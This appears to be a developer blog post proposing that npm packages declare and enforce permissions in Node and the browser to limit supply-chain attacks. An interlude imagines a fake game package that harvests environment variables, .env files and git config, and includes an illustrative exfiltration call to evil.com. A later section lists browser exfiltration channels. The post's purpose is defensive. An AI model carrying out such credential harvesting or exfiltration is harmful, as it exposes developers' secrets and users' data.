npm package permissions — an idea
A few days ago I opened the calculator on my new phone and got a message: “Calculator would like to access your contacts”.
At first I thought this was a bit sad (clearly the calculator was lonely) but it got me thinking...
What if, just like apps on our phones, npm packages had to declare what permissions they required?
package.json might look something like this:
On npmjs.com it might look something like this:
Which would allow us, as developers, to say things like “hey, why does
fancy-logger need access to Node’s
http module? That’s a bit suss.”
(The permissions shown for a package on the npm site would actually be the sum of all package dependency permissions.)
Let’s start with an interlude, to get everyone feeling similarly vulnerable…
I’m harvesting your environment variables, here’s how
My original plan was to write an npm package called
space-invaders. It would be an interesting learning experience to build a game that ran in a console, and would allow me to make a point at the same time.
You would run the game with
npx space-invaders and instantly begin shooting aliens and killing time.
You’d love it, you’d share it, your friends would love it too.
space-invaders would be busy invading your space, gathering up data from
~/.bash_profile, etc., all the
.env files it could get its hands on, the contents of
process.env, your git config (so I know who you are), and sending the lot off to my server.
I never wrote the game, but started worrying about exactly how exposed I am every time I ran
npm install. Now, as the install indicator ticks away, I ponder how much stuff I have on my laptop, in predictable locations, that I really don’t want to fall into the wrong hands.
And it’s not just my laptop, I don’t even know if somewhere in my site’s build pipeline there’s database connection details in environment variables on a prod server that would allow a rogue npm package install script to connect right into my database and
SELECT * from users and
http.get('http://evil.com/that-data'). (Is this why people keep telling me to not store my passwords in plain text?)
This is all a bit frightening, and definitely already happening (probably, allegedly).
But enough of the self-derivative fear mongering, let’s get back to npm permissions.
Keeping things locked down
Seeing what permissions a package is asking for when browsing the npm website would be cool (I reckon) and that’s all well and good for a particular slice of time, but actually this doesn’t solve the real problem.
In a recent hack, someone rather cleverly published a patch version of a package with malicious code in it, then a minor version with the malicious code removed. The time between was enough to snag quite a few people.
This is the problem. It’s not packages that are always malicious. It’s the ones that slip in something nasty for a little while then remove it.
So, we’ll need a way to lock down what permissions are granted to which packages.
package-permissions.json that defines permissions for Node and the browser, and the packages that require each permission. This would need to list all packages, not just the packages that you have listed in your project’s
Now imagine that, at some point in the future, you update a package. That in turn will update its 200 dependencies, and let’s say one of those has published a patch version that suddenly wants access to Node’s
In this case, the
npm install will fail and display something like this in the CLI:
add-two-numbers, which is required by the package
fancy-logger, has requested access to Node’s
npm update-permissions add-two-numbersto allow this, then run
fancy-logger is a package you have in your
package.json (that you would presumably recognise) and
add-two-numbers is something you’ve never heard of.
(Of course, even with this ‘permissions lock file’ in place, some developers will happily accept the new permissions without thinking about it. But at least the change to
package-permissions.json will show up in a pull request, where with any luck a less lackadaisical colleague won’t be asleep at the wheel.)
Lastly, a change in requested permissions would require npm to alert package authors when things change somewhere in their package’s dependency tree. Maybe an email along the lines of:
Hi there, author of fancy-logger. Just letting you know that add-two-numbers — a package you rely on — has requested permissions to the ‘http’ module. Your package’s permissions, as displayed at npmjs.com/package/fancy-logger, have been updated accordingly.
This is going to add friction, for sure. But it’s the right kind of friction. In this instance, the author of
add-two-numbers will be quite aware that if they request permissions to
http, it’s going to set off alarm bells all around the world.
This is what we want, right?
I would hope that, just like with phone apps and even Chrome extensions, packages that require less access will be favoured over those that ask for dubious access to your system. This will in turn apply pressure to package authors to take a more considered approach to their selection of dependencies.
On day one, all packages would be considered to require full permissions (when the
permissions key is missing from
A package author who wanted to advertise the fact that their package requires no special permissions would be incentivised to add that
permissions prop to their
package.json as an empty object. And if they were keen, to make PRs to any of their dependencies declaring no permissions.
Furthermore, every package author wants to minimise their risk of falling victim to a dependency being hacked. So if they’re using a package that’s asking for permissions it shouldn’t need to do the job it’s doing, then they have an incentive to switch to another package.
And for the developers who consume npm packages, they’re incentivised to make PRs to any packages that they rely on for their project, so they can rest assured that there are only a few packages in their site that have the ability to cause trouble.
Perhaps Greenkeeper could help out in some way.
package-permissions.json will provide a simple summary for a security reviewer to review your app’s exposure, and question questionable access.
Thus, hopefully this little
permissions property could spread through enough of the ~800,000 npm packages to make a difference.
Of course, this doesn’t completely prevent any malicious attacks, just like phone app permissions. But it does lessen the surface area right down to packages that specifically ask for permission to do something that could be malicious. It would be interesting to know what percentage of packages don’t actually require any permissions.
So, that’s the mechanics of my imagined world of declaring permissions for npm packages.
Now, we can either rely on the bad guys to be honest and accurately declare what they plan to do, or we need to pair this with a way to enforce permissions.
This is the fun stuff.
Let’s look at Node first, then get into the browser later.
Enforcing permissions in Node
I can think of two options.
Option 1: an npm package to enforce security
Imagine a package, created and maintained by npm (or someone equally trustworthy and farsighted). Let’s call it
You would include this
@npm/permissions package as the first import in your app, either in a file, or you run your app like
node -r @npm/permissions index.js.
This would override
require() to enforce the permissions stated in a package’s
permissions property. If
lovely-logger didn’t specify that it required
http permissions, then it would be denied access to Node’s
Strictly speaking, locking down entire Node modules like this is not ideal. For instance, the
methods npm package loads Node’s
http module, but doesn’t send any data. It just reads
http.METHODS, makes it lower case, and exports that (classic npm package). And currently it’s a great attack candidate: 6,000,000 downloads a week and no changes in 3 years (I might send them an email asking to take over the repo).
We’d rather say that this package doesn’t require ‘network’ permissions instead of access to the
http module. Then we can lock it down, and neuter any future attempt to send out data from your servers.
@npm/permissions would also restrict access from one package to any other package that wasn’t listed as a dependency. This stops a package from trying to import, say,
request, and using those to read from your file system and send out data.
Similarly, it might be useful to differentiate between ‘internal’ and ‘external’ disk access. I’m happy with
node-sass needing disk access within my project directory, but see no reason for it to be reading/writing outside that.
Maybe for phase one, this package must be added manually while the kinks are ironed out. But for actual security, npm would need this baked in because it would need to enforce permissions while running a package’s install scripts.
Then perhaps eventually, a simple
"enforcePermissions": true in a project’s
package.json would instruct npm to run any script in such a way that its permissions are enforced.
Option 2: Node secure mode
This obviously requires a bigger change, but perhaps in the longer term Node could itself run in a restricted mode than enforced the permissions defined by each package.
On one hand, I know that the Node folk want to stay focused on actual Node and this falls outside their remit — after all npm is just a layer on top of Node. On the other hand, they want Node to be something that enterprises feel confident in using, and security is arguably the one thing that shouldn’t be left in the hands of ‘the community’.
OK so that’s the relatively easy part — enforcing permissions when running in Node.
Now for something completely sloppy…
Enforcing permissions in the browser
At first glance, the browser scenario seems simpler, because code running in a browser can’t do much to the underlying operating system. In fact you only really care if a package can send data out of your user’s browser to a different domain.
The problem is that there’s exactly one million and fifty ways to send data from a user’s browser to a hacker’s server.
This is known as exfiltration and if you ask a security expert how to prevent it, they’ll tell you to stop using npm, then do a face like they just invented bread.
I think that you only really need to declare one permission for the browser, and that is ‘network’. Perhaps there’s others (like messing with your DOM or local storage) but for now I’ll just assume exfiltration is all we care about.
There’s a lot of holes to plug. Here’s as many as I can think of in 60 seconds:
- Web sockets
- Web RTC?
- Add a new script with
innerHTML(can create new elements)
- create a
new Image()(src of the image can exfiltrate data)
- change the
srcof an existing image/iframe anything like that
- change the
- Use any weird string to access any of the above methods, or access any on
(A good Content Security Policy will ‘help’ with some of these, but not all. I’m happy to be corrected, but you should absolutely never expect that CSP will protect you from exfiltration. Someone told me once “but it’s close, right?”. I said “you can’t be half pregnant, buddy”, and we haven’t spoken since.)
Given the right brains, I’m sure that a complete list of ways to exfiltrate data from a browser is within the realm of possibility.
Next we need a way to block a package from accessing this list of leaky APIs.
I’m imagining something like a Webpack plugin (
@npm/permissions-webpack-plugin) that would need to do a few things:
- When bundling your code, it would read from the
browserproperty of the
package-permissions.jsonfile to determine which npm packages require access to the network (or whatever other permissions are deemed relevant).
- In the browser, when the code is executed, initialise the modules in such a way that they can’t access APIs they shouldn’t be able to.
(And of course versions for Parcel and Rollup and Browserify and so on.)
For example, let’s say we have a big front end framework. It’s easy to deal with because it needs to do everything, so it can have access to everything just like it does today.
On the other hand, we might have a utility package (like Lodash, Moment, etc.) that hasn’t requested any permissions. This package needs to operate in a locked down version of the browser environment.
The below example shows a wrapper for each of these — a big framework and a little utility.
Lines 2 and 21 are modules that would be created by the bundler plugin. These would ‘reset’ the browser environment for the packages that they wrap.
On line 31 you can see the little utility trying to do something it isn’t allowed to do — create a new script element.
Lines 70 and 73 are where the modules are ‘imported’ into the current scope. It’s all a bit of a mess, but you get the idea.
Line 39 is the creation of a new
window object that is the same as the usual
window object except it uses proxies to block code from using
window.document.createElement to create certain types of DOM nodes.
Proxy so much.
In the example above, I’ve blocked one thing. There would still be one million and forty nine other things that would need to be intercepted in order to prevent exfiltration.
I really haven’t thought through all the other APIs that would need blocking, and already this is quite a lot of code, and I’m not even sure if this makes sense with regards to the way modules work, or if browsers will continue to function properly when you start messing with all this stuff.
But seeing at least this much work gives me hope that maybe there’s a way to actually do this.
As an aside, I don’t think it matters that not all browsers support
Proxy. A solution that blocks malicious activity in 90% of browsers changes the economics of an attack — if it brings the ROI down below 1, then it might prevent an attack entirely. And besides, that 90% is growing steadily — why wait till it hits 100%? Stop being so negative, imaginary commenter.
If worst comes to worst and if it turns out that blocking exfiltration in the browser is impossible, I still think defining permissions just for the Node side of things is worth the effort.
A pipe dream
I’ve realised, writing this, that the creators of the HTTP spec did not foresee that us developers would be willingly running un-trusted code in our websites as much as we are. Fair enough.
When you read about concern for security, it’s mostly about access to hardware from the browser, or cross-origin-anything. Take a look at iframes, which are considered inherently untrustworthy. They have a
sandbox attribute which is similar in concept to what we want: restricting other people’s code from interfering with our site.
Perhaps, a decade from now, we will be able to define a
sandbox attribute on a
<script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>. This would indicate that yeah, I’m loading this script into my page and yeah, it’s coming from my own domain, but it’s coming from somewhere in the 1.4 millions line of code that makes up create-react-app (I shit you not) and I have no idea what it actually does.
It’s then a relatively clean connection between npm package permissions and the execution environment provided in the browser.
I think that would bring the spec into alignment with reality.
(Have you ever noticed that the word “shouldn’t” acts like a little flag to indicate that a statement disregards reality?)
I don’t know how much of this is feasible, how much of this has already been discussed and dismissed for reasonable reasons. But I’m always open to a 90% chance of ridicule and 10% chance of saying something worthwhile.
If nothing else, this post might just serve as a way to get the concept in front of a bunch people with different experiences and views and inputs. Brain dumps in the comment section, please.
As always, thanks for reading, and if you just learned about the Baader–Meinhof phenomenon recently, then isn’t this sentence weird!